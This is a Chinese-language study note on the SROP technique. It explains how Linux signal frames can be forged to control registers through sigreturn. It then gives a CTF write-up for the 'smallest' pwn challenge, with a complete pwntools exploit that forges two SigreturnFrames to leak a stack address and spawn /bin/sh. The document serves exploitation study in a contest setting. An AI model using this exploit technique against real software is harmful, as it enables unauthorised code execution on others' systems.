仅供个人学习参考

原理

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
1

1.内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
2.内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
3.signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 **119(0x77)**,64 位的系统调用号为 15(0xf)
1

发现,Signal Frame可控制寄存器的值;Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。且内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。(内核不做检查)
64位下Signal Frame如图:
1

总结一下利用方式及所需条件:
1.存在栈溢出且溢出后可供写入的内存足够大
2.需要知道signal frame, sigreturn , binsh , syscall 的地址
3.栈溢出后利用rop链完成攻击

构造system call chains方式如下图所示
1
1.控制栈指针。
2.把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

例题

360 春秋杯 smallest-pwn https://raw.githubusercontent.com/GNchen1/Pages/main/Img/smallest

查看保护
1
ida查看伪代码,发现没什么东西
1
ida查看汇编
1
可以看出这是一个对read函数的系统调用,相当于read(0,rsp,0x400),没有别的函数了,写入数据过大,有栈溢出机会,考虑srop

经过gdb调试,发现程序会ret到我们输入的地址上

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'


io = process("./smallest")
start_addr = 0x00000000004000B0
syscall_addr = 0x00000000004000BE

payload = p64(start_addr) * 3 #第一次read,实现循环执行系统调用
io.send(payload)
io.send('\xB3') #第二次read 两个作用,一个是使得rax = 1,从而调用write函数,因为只发送了一个字节,另一个是修改第二次的start地址为0x004000B3(即跳过了xor rax, rax),同样是为了调用write函数
io.recv(8) #除去第三个start_addr,以便正确接收新的栈地址(接下来要写入的)
stack_addr = u64(io.recv(8))
print ("stack_addr = " +hex(stack_addr)) #接收新的栈地址(write打印出的)

#开始构造signal frame

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr #和rsi保持一致,确保函数写的时候rsp指向stack_addr
# read(0, stack_addr, 0x400)

payload = p64(start_addr) + p64(0) + bytes(frame)
io.send(payload)

payload = p64(syscall_addr)
payload = payload.ljust(15, b"\x00") # rax = 15
io.send(payload)
# start sigreturn

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr + 0x150 # binsh的地址
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall_addr

payload = p64(start_addr) + p64(0) + bytes(frame)
print(len(payload)) #确定binsh地址,放在这个payload后面就行,这个payload长度为264 bytes,即0x108 bytes,比这个大一些就行
payload = payload.ljust(0x150, b'\x00')
payload += b"/bin/sh\x00"
io.send(payload)

payload = p64(syscall_addr)
payload = payload.ljust(15, b"\x00") # rax = 15
io.send(payload)
# start sigreturn

io.interactive()